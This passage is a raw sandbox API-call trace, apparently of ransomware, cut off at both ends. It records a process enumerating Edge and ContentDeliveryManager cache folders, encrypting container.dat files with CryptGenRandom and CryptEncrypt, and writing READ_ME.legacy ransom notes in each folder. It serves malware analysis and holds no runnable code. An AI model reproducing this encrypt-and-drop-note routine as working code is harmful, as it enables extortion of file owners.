lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0179.754] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0179.754] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0179.754] WriteFile (in: hFile=0x1acc, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0179.755] WriteFile (in: hFile=0x1acc, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0179.755] CloseHandle (hObject=0x1acc) returned 1 [0179.768] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatUaCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf542405, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5dad80, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72930 [0179.768] FindNextFileW (in: hFindFile=0x2f72930, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf542405, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5dad80, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.768] FindNextFileW (in: hFindFile=0x2f72930, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf56864e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5dad80, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5dad80, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0179.768] FindNextFileW (in: hFindFile=0x2f72930, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.768] FindNextFileW (in: hFindFile=0x2f72930, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.768] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0179.769] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0179.769] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0179.769] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0179.769] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0179.769] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatUaCache\\container.dat", dwFileAttributes=0x80) returned 1 [0179.769] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d5aa8 [0179.769] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x56c6b8 [0179.769] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatUaCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\iecompatuacache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ad0 [0179.770] GetFileSizeEx (in: hFile=0x1ad0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0179.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3518 [0179.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3538 [0179.770] ReadFile (in: hFile=0x1ad0, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.770] SetFilePointer (in: hFile=0x1ad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.770] WriteFile (in: hFile=0x1ad0, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.770] SetFilePointer (in: hFile=0x1ad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0179.770] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0179.770] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0179.770] WriteFile (in: hFile=0x1ad0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0179.771] WriteFile (in: hFile=0x1ad0, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0179.771] CloseHandle (hObject=0x1ad0) returned 1 [0179.772] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IEFlipAheadCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58c5451, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf5941dd0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72970 [0179.773] FindNextFileW (in: hFindFile=0x2f72970, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58c5451, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf5941dd0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.773] FindNextFileW (in: hFindFile=0x2f72970, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf58d8cc7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf5941dd0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf5941dd0, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0179.773] FindNextFileW (in: hFindFile=0x2f72970, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf5101227, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.773] FindNextFileW (in: hFindFile=0x2f72970, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf5101227, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.773] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0179.773] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0179.773] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0179.773] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0179.773] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0179.773] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IEFlipAheadCache\\container.dat", dwFileAttributes=0x80) returned 1 [0179.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d63f0 [0179.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x56c6b8 [0179.776] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IEFlipAheadCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\ieflipaheadcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ad4 [0179.777] GetFileSizeEx (in: hFile=0x1ad4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0179.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3448 [0179.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c34c8 [0179.777] ReadFile (in: hFile=0x1ad4, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.777] SetFilePointer (in: hFile=0x1ad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.777] WriteFile (in: hFile=0x1ad4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.777] SetFilePointer (in: hFile=0x1ad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0179.777] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0179.777] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0179.777] WriteFile (in: hFile=0x1ad4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0179.778] WriteFile (in: hFile=0x1ad4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0179.778] CloseHandle (hObject=0x1ad4) returned 1 [0179.780] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\PlayReady\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf6272c0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x902a1a6b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf5101227, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f729b0 [0179.780] FindNextFileW (in: hFindFile=0x2f729b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf6272c0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x902a1a6b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf5101227, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.780] FindNextFileW (in: hFindFile=0x2f729b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x902a1a6b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x902a1a6b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x902a1a6b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="InPrivate", cAlternateFileName="INPRIV~1")) returned 1 [0179.780] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\PlayReady\\InPrivate\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\playready\\inprivate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ad8 [0179.784] WriteFile (in: hFile=0x1ad8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.785] CloseHandle (hObject=0x1ad8) returned 1 [0179.785] FindNextFileW (in: hFindFile=0x2f729b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf5101227, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf5101227, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf5101227, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.785] FindNextFileW (in: hFindFile=0x2f729b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf5101227, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf5101227, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf5101227, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.785] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a058 [0179.785] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2b9c81, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf2b9c81, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5101227, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f729f0 [0179.786] FindNextFileW (in: hFindFile=0x2f729f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2b9c81, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf2b9c81, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5101227, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.786] FindNextFileW (in: hFindFile=0x2f729f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2b9c81, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92ab7d60, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92ab7d60, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Default", cAlternateFileName="")) returned 1 [0179.786] FindNextFileW (in: hFindFile=0x2f729f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf5101227, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf5101227, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf5101227, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.786] FindNextFileW (in: hFindFile=0x2f729f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf5101227, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf5101227, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf5101227, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.786] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x61d420 [0179.786] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetHistory\\BackgroundTransferApi\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc833db71, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc833db71, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xf5b23109, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72ab0 [0179.786] FindNextFileW (in: hFindFile=0x2f72ab0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc833db71, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc833db71, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xf5b23109, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.786] FindNextFileW (in: hFindFile=0x2f72ab0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xc833db71, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc833db71, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc833db71, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0179.786] FindNextFileW (in: hFindFile=0x2f72ab0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf5b23109, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf5b23109, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf5b23109, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.786] FindNextFileW (in: hFindFile=0x2f72ab0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf5b23109, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf5b23109, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf5b23109, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.786] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578cc8 [0179.786] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0179.786] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0179.786] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0179.786] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0179.786] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetHistory\\BackgroundTransferApi\\container.dat", dwFileAttributes=0x80) returned 1 [0179.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578a78 [0179.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0179.787] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetHistory\\BackgroundTransferApi\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\ac\\inethistory\\backgroundtransferapi\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae0 [0179.787] GetFileSizeEx (in: hFile=0x1ae0, 